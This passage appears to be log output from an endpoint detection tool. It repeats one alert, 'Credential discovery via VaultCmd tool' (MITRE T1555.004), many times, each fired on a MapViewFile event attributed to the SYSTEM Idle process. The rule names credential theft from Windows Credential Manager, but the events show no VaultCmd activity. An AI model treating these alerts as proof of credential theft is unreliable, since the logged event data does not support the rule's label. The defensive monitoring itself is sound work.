https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd 